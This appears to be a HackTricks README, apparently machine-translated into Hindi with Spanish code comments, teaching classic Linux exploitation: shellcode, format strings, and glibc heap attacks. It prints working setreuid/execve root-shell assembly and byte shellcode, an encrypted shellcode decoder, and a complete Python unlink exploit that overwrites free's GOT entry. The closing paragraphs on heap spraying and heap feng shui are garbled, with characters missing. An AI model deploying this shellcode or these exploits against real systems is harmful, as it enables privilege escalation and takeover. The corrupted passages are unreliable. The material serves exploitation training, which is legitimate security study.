hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/README.md
2024-04-06 18:32:19 +00:00

418 lines
45 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# लिनक्स एक्सप्लॉइटिंग (मूल) (SPA)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>
## **2.SHELLCODE**
Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
exit(0); // \_\_NR\_exit 1
xor eax, eax ; limpiamos eax\
xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar\
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
int 0x80 ; Ejecutar syscall
**nasm -f elf assembly.asm** —> हमें एक .o फ़ाइल देता है\
**ld assembly.o -o shellcodeout** —> हमें एक एक्जीक्यूटेबल देता है जिसमें असेम्बली कोड होता है और हम ऑपकोड्स को **objdump** के साथ निकाल सकते हैं\
**objdump -d -Mintel ./shellcodeout** —> यह देखने के लिए कि यह वास्तव में हमारी शेलकोड है और ऑपकोड्स निकालने के लिए
**जांचें कि शेलकोड काम करता है**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
यह देखने के लिए कि सिस्टम कॉल सही ढंग से हो रहे हैं, पिछले प्रोग्राम को कंपाइल करना चाहिए और सिस्टम कॉल **strace ./कंपाइल किया गया प्रोग्राम** में दिखना चाहिए।
शैलकोड बनाने के समय एक चाल लिया जा सकता है। पहला निर्देश एक कॉल को जम्प करना है। कॉल मूल कोड को बुलाता है और साथ ही EIP को स्टैक में डालता है। कॉल के निर्देश के बाद, हमने उस स्ट्रिंग को डाल दिया है जिसकी हमें आवश्यकता थी, इसलिए उस EIP के साथ हम स्ट्रिंग को निशानित कर सकते हैं और साथ ही कोड को जारी रख सकते हैं।
उदाहरण **चाल (/bin/sh)**:
```
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
**/bin/sh का उपयोग करके ईजे:**
```
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
```
**EJ FNSTENV:**
```
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
```
**अंडा हंटर:**
यह एक छोटा सा कोड है जो एक प्रक्रिया से जुड़ी मेमोरी पेजों को दौड़ता है और वहाँ संग्रहित शेलकोड की खोज करता है (शेलकोड में डाली गई कोई हस्ताक्षर खोजता है)। कोड इंजेक्ट करने के लिए केवल एक छोटे स्थान के मामलों में उपयुक्त।
**पॉलिमॉर्फिक शेलकोड**
ये एन्क्रिप्टेड शेल्स हैं जिनमें एक छोटा कोड होता है जो उन्हें डिक्रिप्ट करता है और उस पर जाता है, Call-Pop ट्रिक का उपयोग करते हुए यह एक **सीज़र एन्क्रिप्टेड उदाहरण** होगा:
```
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
```
## **5. अतिरिक्त तकनीकें**
**मुराट तकनीक**
लिनक्स में सभी प्रोग्राम 0xbfffffff से मैप होते हैं।
लिनक्स में एक नए प्रक्रिया के स्टैक को कैसे बनाया जाता है देखकर, एक एक्सप्लॉइट विकसित किया जा सकता है ताकि प्रोग्राम एक वातानुक्रमिक मात्रा के वातानुक्रमिक में आरंभ किया जाए। इसका पता इस प्रकार लगाया जा सकता है: addr = 0xbfffffff - 4 - strlen(NOMBRE\_ejecutable\_completo) - strlen(shellcode)
इस तरह से, शेलकोड के साथ वातानुक्रमिक में चर की स्थिति को आसानी से प्राप्त की जा सकती है।
यह कारण है कि execle फ़ंक्शन एक वातानुक्रमिक बनाने की अनुमति देता है जिसमें केवल वे वातानुक्रमिक चाहिए जो चाहिए।
##
###
###
###
###
### **फॉर्मेट स्ट्रिंग्स से बफर ओवरफ्लो**
**sprintf** एक फॉर्मेटेड स्ट्रिंग को एक चर में ले जाता है। इसलिए, आप एक स्ट्रिंग के फॉर्मेटिंग का दुरुपयोग करके उस चर में बफर ओवरफ्लो का कारण बना सकते हैं जहां सामग्री कॉपी की जाती है।
उदाहरण के लिए, पेलोड `%.44xAAAA` चर में 44B+"AAAA" लिखेगा, जो एक बफर ओवरफ्लो का कारण बना सकता है।
### **\_\_atexit संरचनाएँ**
{% hint style="danger" %}
आजकल इसे एक्सप्लॉइट करना बहुत अजीब है।
{% endhint %}
**`atexit()`** एक फ़ंक्शन है जिसमें अन्य फ़ंक्शनों को पैरामीटर के रूप में पास किया जाता है। ये फ़ंक्शन एक **`exit()`** या **मुख्य** के **वापसी** को निष्पादित करेंगे।
यदि आप किसी भी इन फ़ंक्शनों के पते को एक शेलकोड की ओर इशारा करने के लिए संशोधित कर सकते हैं, तो आप प्रक्रिया का नियंत्रण प्राप्त करेंगे, लेकिन यह वर्तमान में अधिक जटिल है।
वर्तमान में निष्क्रिय किए गए फ़ंक्शनों के पते कई संरचनाओं के पीछे छिपे होते हैं और अंत में जिन पतों की ओर इशारा किया जाता है, वे फ़ंक्शनों के पतों नहीं होते हैं, बल्कि **XOR** और एक **रैंडम कुंजी** के साथ **एन्क्रिप्टेड** होते हैं। इसलिए वर्तमान में यह हमला वेक्टर कम उपयोगी है कम से कम x86 और x64\_86 पर।
**एन्क्रिप्शन फ़ंक्शन** **`PTR_MANGLE`** है। **अन्य आर्किटेक्चर** जैसे m68k, mips32, mips64, aarch64, arm, hppa... **एन्क्रिप्शन** फ़ंक्शन को **नहीं लागू** करते क्योंकि यह उसे जो भी इनपुट मिला वही वापस करता है। इसलिए इन आर्किटेक्चर्स पर यह वेक्टर पर हमला किया जा सकता है।
### **setjmp() & longjmp()**
{% hint style="danger" %}
आजकल इसे एक्सप्लॉइट करना बहुत अजीब है।
{% endhint %}
**`Setjmp()`** को **संदर्भ** (रजिस्टर) को **बचाने** की अनुमति देता है।\
**`longjmp()`** को **संदर्भ** (रजिस्टर) को **पुनर्स्थापित** करने की अनुमति देता है।
**बचाए गए रजिस्टर** हैं: `EBX, ESI, EDI, ESP, EIP, EBP`\
यह है कि EIP और ESP **`PTR_MANGLE`** फ़ंक्शन द्वारा पारित किए जाते हैं, इसलिए **इस हमले के लिए विकल्पशील आर्किटेक्चर उपरोक्त हैं**
ये त्रुटि सुधार या अंतर्रुप्तियों के लिए उपयोगी हैं।\
हालांकि, जितना मैंने पढ़ा है, अन्य रजिस्टर सुरक्षित नहीं हैं, **तो यदि फ़ंक्शन के भीतर `call ebx`, `call esi` या `call edi`** है, तो नियंत्रण पर किया जा सकता है। या आप यह भी कर सकते हैं कि EBP को संशोधित करके ESP को संशोधित करें।
**C++ में VTable और VPTR**
प्रत्येक क्लास के पास एक **Vtable** होती है जो **मेथड्स के पॉइंटर्स का एक एरे** है।
प्रत्येक क्लास का एक **VPtr** होता है जो उसकी क्लास के एरे का **पॉइंटर** होता है। VPtr प्रत्येक ऑब्जेक्ट के हेडर का हिस्सा है, इसलिए यदि **VPtr** का **अधिकार** प्राप्त किया जाता है तो उसे **संशोधित** किया जा सकता है ताकि किसी फ़ंक्शन को निष्पादित करने पर शेलकोड में जाए।
## **रोकथाम और टालने के उपाय**
###
**लिबसेफ की जगह**
इसे सक्रिय किया जाता है: LD\_PRELOAD=/lib/libsafe.so.2\
या\
“/lib/libsave.so.2” > /etc/ld.so.preload
कुछ असुरक्षित फ़ंक्शनों को कुछ सुरक्षित फ़ंक्शनों से अंतर्गत कर दिया जाता है। यह मानकीकृत नहीं है। (केवल x86 के लिए, -fomit-frame-pointer के साथ नहीं, स्थैतिक कंपाइलेशन के साथ नहीं, सभी असुरक्षित फ़ंक्शन सुरक्षित नहीं बनते हैं और LD\_PRELOAD सुइड वाले बाइनरी में काम नहीं करता है)।
**एएससीआई आर्मर्ड एड्रेस स्पेस**
यह 0x00000000 से 0x00ffffff तक साझा पुस्तकालयों को लोड करने का कारण है ताकि हमेशा एक 0x00 बाइट हो। हालांकि, यह वास्तव में किसी भी हमले को मुख्य रूप से नहीं रोकता, और कम लिटिल इंडियन में।
**ret2plt**
इसमें एक ROP किया जाता है ताकि plt की strcpy@plt फ़ंक्शन को बुलाया जाए और GOT के प्रवेश पर इशारा किया जाए और वहां से जिस फ़ंक्शन को बुलाना चाहिए (system()) का पहला बाइट कॉपी किया जाए। इसके बाद यही कार्य किया जाता है GOT+1 पर इशारा करके और system() का 2वां बाइट कॉपी किया जाता है... अंत में GOT में सहेजी गई पता को बुलाया जाता है जो system() होगा।
**chroot() के साथ जेल**
debootstrap -arch=i386 hardy /home/user —> एक विशिष्ट उपनिर्देशिका के तहत एक बुनियादी सिस्टम स्थापित करता है।
एक व्यवस्थापक इन जेलों में से एक से बाहर निकल सकता है: mkdir foo; chroot foo; cd ..
**कोड का उपकरण**
Valgrind —> त्रुटियों की खोज करता है\
Memcheck\
RAD (Return Address Defender)\
Insure++
## **8 हीप ओवरफ्लो: मूल एक्सप्लॉइट्स**
**आवंटित खंड**
पिछला_आकार |\
आकार | —हेडर\
\*मेम | डेटा
**फ्री खंड**
पिछला_आकार |\
आकार |\
\*fd | प्वाइंटर फॉरवर्ड चंक\
\*bk | प्वाइंटर बैक चंक —हेडर\
\*मेम | डेटा
फ्री खंड एक डबल लिंक्ड लिस्ट में होते हैं (बिन) और कभी भी दो फ्री खंड एक साथ नहीं हो सकते (वे मिल जाते हैं)
"आकार" में बिट होते हैं जो इंडिकेट करते हैं: यदि पिछला खंड इस्तेमाल में है, यदि खंड mmap() के माध्यम से आवंटित किया गया है और यदि खंड प्राथमिक
जब unlink() को कॉल किया जाता है, तो P->fd के रूप में दूसरे टुकड़े के पहले डेटा का उपयोग किया जाएगा, जिसमें उस पते को ओवरराइट किया जाएगा - 12 (क्योंकि FD->bk में FD में सहेजे गए पते में 12 को जोड़ देगा)। और उस पते में दूसरा पता डाला जाएगा जो दूसरे टुकड़े में मिलता है, जिसे हमें शेलकोड (P->bk नकली) का पता होना चाहिए।
**from struct import \***
**import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes की भराई**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev\_size = pack("\<I”, 0xfffffff0) #पिछले टुकड़े में खाली होने का बिट 1 होना चाहिए**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, ताकि 3 वें टुकड़े का "साइज" 4 बाइट पीछे है (पिछले_साइज की ओर देखता है कि क्या 2 वें टुकड़ा खाली है)**
**addr\_sc = pack("\<I", 0x0804a008 + 8) #पेलोड में शुरुआत में हमने 8 बाइट भराई हैं**
**got\_free = pack("\<I", 0x08048300 - 12) #free() का पता plt-12 (यह पता ओवरराइट किया जाएगा ताकि free को दूसरी बार कॉल करने पर शेलकोड चलाया जाए)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # जैसा कि कहा गया था, पेलोड 8 बाइट भराई के साथ शुरू होती है क्योंकि**
**payload += prev\_size + fake\_size + got\_free + addr\_sc #2 वें टुकड़े को संशोधित किया जाता है, got\_free उस जगह की ओर इशारा करता है जहां हम पता addr\_sc + 12 को सहेजेंगे**
**os.system("./8.3.o " + payload)**
**unset() उलटी दिशा में मुक्त करते हुए (wargame)**
हम 3 लगातार टुकड़ों को नियंत्रित कर रहे हैं और उन्हें उनके आरक्षित क्रम में मुक्त किया जाता है।
इस मामले में:
चंक c में शेलकोड डाला जाता है
चंक a का उपयोग b को ओवरराइट करने के लिए किया जाता है ताकि साइज का पिछला इस्तेमाल किया गया बिट निष्क्रिय हो जाए ताकि चंक a खाली है यह सोचेगा।
इसके अतिरिक्त, हेडर b में साइज को -4 के रूप में ओवरराइट किया जाता है।
इसलिए, प्रोग्राम "a" को एक बिन में मानेगा और इसे अनलिंक() को अनलिंक करने के लिए कहेगा। हालांकि, क्योंकि हेडर पिछला_साइज -4 है। यह सोचेगा कि "a" का टुकड़ा वास्तव में b+4 से शुरू हो रहा है। अर्थात, यह b+4 से शुरू होने वाले टुकड़े को अनलिंक() करेगा, इसलिए b+12 में पॉइंटर "fd" होगा और b+16 में पॉइंटर "bk" होगा।
इस तरह, यदि हम bk में शेलकोड का पता और fd में "puts()" के लिए पता -12 डालते हैं, तो हमारे पास पेलोड होता है।
**फ्रंटलिंक तकनीक**
जब कुछ मुक्त किया जाता है और उसके कोई भी पड़ोसी टुकड़े मुक्त नहीं हैं, तो unlink() को नहीं बुलाया जाता है, बल्कि सीधे frontlink() को बुलाया जाता है।
उस समय उपयोगी दोष जब malloc जिस पर हमला किया जाता है कभी मुक्त नहीं होता (free())।
आवश्यकता है:
एक बफर जिसे डेटा इनपुट करने के लिए ओवरफ्लो किया जा सकता है
इसके साथ एक संयुक्त बफर जो मुक्त किया जाना है और जिसके हेडर का फील्ड fd उसके पिछले बफर के ओवरफ्लो के कारण संशोधित किया जाएगा
512 से अधिक लेकिन पिछले बफर से कम आकार वाला एक बफर मुक्त करने के लिए
इसके अतिरिक्त, इसके पिछले चरण में घोषित करने के लिए एक बफर जो इसके prev\_size को संशोधित करने की अनुमति देता है
इस तरह दो mallocs को अनियंत्रित रूप से ओवरराइड करने और एक केवल नियंत्रित रूप से मुक्त करने के लिए एक एक्सप्लॉइट किया जा सकता है।
दूसरे खंड में और पहले के कारण हम prev\_size को एक jump 0x0c के साथ ओवरराइट करते हैं और size को कुछ ऐसा करते हैं कि -> NON\_MAIN\_ARENA को सक्रिय करें।
इसके बाद खंड 2 में हम बहुत सारे nops डालते हैं और अंत में शेलकोड डालते हैं।
इस तरह, \_int\_free(TROZO1, TROZO2) को बुलाया जाएगा और यह \_\_DTOR\_END\_\_ में TROZO2 के prev\_size का पता लगाने के लिए निर्देशों का पालन करेगा जो शेलकोड पर जाएगा।
इस तकनीक को लागू करने के लिए कुछ अधिक आवश्यकताएं पूरी होनी चाहिए जो पेलोड को थोड़ा और जटिल बना देती हैं।
यह तकनीक अब लागू नहीं है क्योंकि उन्लिंक के लिए लगभग एक ही पैच लागू किया गया था। यह तुलना करता है कि नए स्थान को जिसे निशानित किया जा रहा है, उसके पास भी उसी को निशानित किया जा रहा है।
**Fastbin**
यह The house of mind का एक वेरिएंट है।
हमें निम्नलिखित कोड को निष्पादित करने की इच्छा है जिसे हम पहुंचते हैं जब \_int\_free() के पहले की जांच पारित होती है।
fb = &(av->fastbins\[fastbin\_index(size)] —> जो fastbin\_index(sz) —> (sz >> 3) - 2
p->fd = \*fb
\*fb = p
इस तरह, यदि "fb" में एक फ़ंक्शन का पता है, तो इस पते पर ओवरराइट किया जाएगा। इसके लिए आवश्यक है कि एरिना dtors के पतों के निकट हो। अधिक सटीकता से कहें तो av->max\_fast उस पते पर होना चाहिए जिसे हम ओवरराइट करने जा रहे हैं।
The House of Mind के साथ हमने देखा कि हम एवी की स्थिति को नियंत्रित करते थे।
इसलिए यदि हम size फ़ील्ड में 8 + NON\_MAIN\_ARENA + PREV\_INUSE डालते हैं -> fastbin\_index() हमें fastbins\[-1] देगा, जो av->max\_fast को निशानित करेगा।
इस मामले में av->max\_fast ओवरराइट होगा (निशानित नहीं, बल्कि यह स्थान ओवरराइट होगा)।
इसके अतिरिक्त, उसी जगह पर उस टुकड़े का आकार 8 से अधिक होना चाहिए जिसे मुक्त किया गया है -> हमने कहा कि टुकड़े का आकार 8 है, इस झूठे टुकड़े में हमें बस 8 से अधिक आकार डालना है (और क्योंकि शेलकोड उस टुकड़े में जाएगा, हमें पहले एक जम्प डालना होगा जो नॉप्स में गिरेगा)।
इसके अतिरिक्त, उसी झूठे टुकड़े का av->system\_mem से कम होना चाहिए। av->system\_mem 1848 बाइट दूर है।
\_DTOR\_END\_ के नल्स के कारण और GOT में कुछ ही पतों के कारण, इन सेक्शनों का कोई पता ओवरराइट करने के लिए उपयुक्त नहीं है, इसलिए चलिए देखते हैं कि पाइला हमले के लिए fastbin को कैसे लागू किया जाए।
एक और हमले का तरीका है **av** को पाइले की ओर पुनर्दिशा करना।
यदि हम size को 8 की बजाय 16 कर देते हैं तो: fastbin\_index() हमें fastbins\[0] देगा और हम इसका उपयोग पाइले को ओवरराइट करने के लिए कर सकते हैं।
इसके लिए पाइले में कोई कैनरी या अजीब मानक नहीं होना चाहिए, वास्तव में हमें इसमें होना चाहिए: 4 बाइट नल + EBP + RET
4 बाइट नल की आवश्यकता है क्योंकि **av** इस पते पर होगा और **av** का पहला तत्व वह mutex है जो 0 होना चाहिए।
**av->max\_fast** EBP होगा और यह हमें प्रतिबंधों को छलने के लिए एक मूल्य प्रदान करेगा।
**av->fastbins\[0]** पर **p** का पता ओवरराइट किया जाएगा और यह RET होगा, इस तरह शेलकोड पर जाएगा।
इसके अतिरिक्त, **av->system\_mem** (पाइले में स्थिति से 1484 बाइट ऊपर) में काफी कचरा होगा जो हमें उस जांच को छलने की अनुमति देगा जो की जाती है।
इसके अतिरिक्त, मुक्त किए गए टुकड़े के संगत टुकड़े का आकार 8 से अधिक होना चाहिए -> हमने कहा कि मुक्त किए गए टुकड़े का आकार 16 है, इस झूठे टुकड़े में हमें बस 8 से अधिक आकार डालना है (और क्योंकि शेलकोड उस टुकड़े में जाएगा, हमें पहले एक जम्प डालना होगा जो नॉप्स के बाद नए झूठे टुकड़े के आकार के फ़ील्ड के बाद गिरेगा)।
**The House of Spirit**
इस मामले में हमें एक malloc के पॉइंटर को अल्टर करने की इच्छा है जो हमले करने वाले द्वारा बदला जा सके (उदाहरण के लिए, एक ओवरफ़्लो के नीचे स्टैक पर पॉइंटर हो)।
इस तरह, हम इस पॉइंटर को कहीं भी निशानित कर सकते हैं। हालांकि, हर जगह वैध नहीं है, झूठे टुकड़े का आकार av->max\_fast से कम होना चाहिए और विशेष रूप से एक भविष्य के malloc() कॉल में मांगे गए आकार के बराबर होना चाहिए। इसलिए, यदि हम जानते हैं कि इस पॉइंटर के नीचे malloc(40) को कॉल किया जाएगा, तो झूठे टुकड़े का आकार 48 के बराबर होना चाहिए।
उदाहरण के लिए, यदि प्रोग्राम उपयोगकर्ता से एक संख्या पूछता है, तो हम 48 डाल सकते हैं और malloc के विन्यास के अगले 4 बाइटों को निशानित कर सकते हैं (जो EBP के हिस्से हो सकते हैं, इस तरह 48 पीछे रह जाता है, जैसे कि यह आकार है)। इसके अतिरिक्त, ptr-4+48 पता करने के लिए कई शर्तों को पूरा करना चाहिए (इस मामले में ptr=EBP है), अर्थात, 8 < ptr-4+48 < av->system\_mem।
यदि यह पूरा होता है, तो जब अगली malloc() को कहा जाएगा जिसे हमने कहा कि यह malloc(40) है, तो उसे EBP का पता दिया जाएगा। यदि हमले करने वाला भी इस malloc में लिखने का नियंत्रण रख सकता है, तो वह EBP और EIP दोनों को उस पते पर ओवरराइट कर सकता है।
यह इसलिए है क्योंकि इस तरह, जब उसे मुक्त किया जाएगा free() तो यह निर्धारित करेगा कि स्टैक के EBP को निशानित करने वाले पते पर एक टुकड़ा है जो नए malloc() के लिए सही आकार का है, इसलिए वह उस पते को निशानित करेगा।
**The House of Force**
आवश्यक है:
* एक टुकड़े को ओवरफ़्लो करने के लिए एक ओवरफ़्लो
* उपयोगकर्ता द्वारा परिभाषित आकार के साथ malloc() को कॉल करना
* उपयोगकर्ता द्वारा परिभाषित डेटा के साथ malloc() को कॉल करना
पहली चीज जो की जाती है, विल्डर्नेस के टुकड
यदि बिन में एक टुकड़ा है जिसका आकार मांगे गए आकार के लिए उपयुक्त है, तो उसे उसके बाद अनलॉक करने के बाद वापस दिया जाता है:
bck = victim->bk; पिछले टुकड़े की ओर इशारा करता है, यह हमें बदल सकने की एकमात्र जानकारी है।
bin->bk = bck; दूसरे टुकड़े को अंतिम बनाने के लिए, यदि bck स्टैक को इशारा करता है, तो अगले आरक्षित टुकड़े को इस पते पर दिया जाएगा
bck->fd = bin; इसे बंद करके सूची को बिन करना, जिसे यह bin की ओर इशारा करेगा
आवश्यकता है:
दो malloc आरक्षित किए जाने चाहिए, ताकि पहले पर overflow किया जा सके जब दूसरा उसके bin में डाल दिया गया हो (अर्थात, overflow किए जाने से पहले दूसरे टुकड़े से अधिक malloc किया गया हो)
हमलावर द्वारा चयनित पते वाले malloc को नियंत्रित किया जाना चाहिए।
लक्ष्य यह है, यदि हम एक हीप पर एक हीप को ओवरफ्लो कर सकते हैं जिसके नीचे एक पहले से ही उपयुक्त टुकड़ा है और उसके bin में है, तो हम उसका पॉइंटर bk बदल सकते हैं। यदि हम उसका पॉइंटर bk बदल देते हैं और यह टुकड़ा बिन की सूची का पहला टुकड़ा बन जाता है और उसे आरक्षित किया जाता है, तो बिन को धोखा दिया जाएगा और उसे बताया जाएगा कि सूची का अंतिम टुकड़ा (अगला प्रस्तावित) उस गलत पते पर है जिसे हमने डाला है (उदाहरण के लिए स्टैक या GOT)। इसलिए यदि एक और टुकड़ा आरक्षित किया जाता है और हमलावर के पास इसमें अनुमति है, तो उसे वांछित स्थान पर एक टुकड़ा दिया जाएगा और उसमें लिखा जा सकेगा।
संशोधित टुकड़ा मुक्त करने के बाद उसे मुक्त किए गए टुकड़े से अधिक एक टुकड़ा आरक्षित किया जाना चाहिए, इस प्रकार संशोधित टुकड़ा अनसॉर्टेड बिन से बाहर निकल जाएगा और उसके बिन में डाला जाएगा।
एक बार उसके बिन में होने के बाद, उसके पॉइंटर bk को ओवरफ्लो करके उसे संशोधित करने का समय है ताकि वह हमें लिखने के लिए उस पते पर इशारा करे।
इस प्रकार बिन को उम्मीद करना होगा कि malloc() को पुकारने के लिए पर्याप्त समय तक प्रतीक्षा करनी पड़ेगी ताकि संशोधित बिन का उपयोग फिर से किया जाए और बिन को धोखा देने के लिए उसे यकीन दिलाया जाए कि अगला टुकड़ा गलत पते पर है। और उसके बाद हमें चाहिए वह टुकड़ा।
इस हमले को जल्द से जल्द चलाने के लिए सबसे अच्छा होगा: वंशीय टुकड़ा आरक्षित करना, संशोधित किया गया टुकड़ा आरक्षित करना, यह टुकड़ा मुक्त करना, उससे अधिक एक टुकड़ा आरक्षित करना, टुकड़ा संशोधित करना (कमजोरी), वंशीय टुकड़ा आरक्षित करना, और एक दूसरा टुकड़ा आरक्षित करना जिसका आकार वंशीय टुकड़े के बराबर हो और यह वह होगा जो चयनित पते पर इशारा करेगा।
इस हमले को सुरक्षित करने के लिए एक सामान्य जांच का उपयोग किया गया है कि टुकड़ा "गलत" नहीं है: यह जांचा जाता है कि bck->fd victim को इशारा कर रहा है। अर्थात, हमारे मामले में यदि स्टैक में इशारा किए गए गलत टुकड़े का fd\* पीड़ित को इशारा कर रहा है। इस सुरक्षा को छलने के लिए हमलावर को किसी तरह से लिखने की क्षमता होनी चाहिए (संभावित रूप से स्टैक के माध्यम से) उचित पते पर victim का पता लिखने के लिए। ताकि ऐसा लगे कि एक सही टुकड़ा है।
**बड़े बिन कोरप्शन**
पहले की तरह यहाँ भी एक बार बिन का पॉइंटर bk संशोधित करने की आवश्यकता है, और सभी वही कॉल्स की आवश्यकता है, लेकिन इसके अतिरिक्त, आरक्षित टुकड़े 512 से अधिक होने चाहिए।
हमला पिछले जैसा है, अर्थात, पॉइंटर bk को संशोधित करने की आवश्यकता है और सभी वही कॉल्स की आवश्यकता है, लेकिन इसके अतिरिक्त, संशोधित टुकड़े का आकार इस प्रकार संशोधित किया जाना चाहिए कि वह size - nb < MINSIZE ो।
उदहरण के ि, 1552 आक रखन ि 1552 - 1544 = 8 < MINSIZE (यह एक असइन ि गय अवैध तुलनत्मक है)
इसके अतििक्त, इसे और अधि कठि बनने के ि एक पैच ि गय है
**हीप स्प्रेइंग**
मूल रूप से के ि संभवन सभ स्मृति आरक्षि करने और इन्हें एक प्स के एक तकिये से भरने है इसके अतििक्त, एक तकिये के रूप में 0x0c उपय ि है इसलि ि एग ि 0x0c0c0c0c पते पर उछ लग , और इस प्रक यदि ि पते इस तकिये से ओवररइट ि है िसे इसके बुल एगा, वह उछ लग एगा। मूल रूप से यह जन है ि ितन संभवन है ि इंटर ओवररइट और 0x0c0c0c0c पर उछ लग िससे उम्म है ि वह प्स ंगे
**हीप फेंग शुई**
यह उसे बनने के ि है ि िजर्वेशन और िजेशन के ध्यम से मेम ि टुकड़े के आरक्षि टुकड़े बचे रहें ओवरफ्ल करने बफर उनमें से एक में स्थि ा।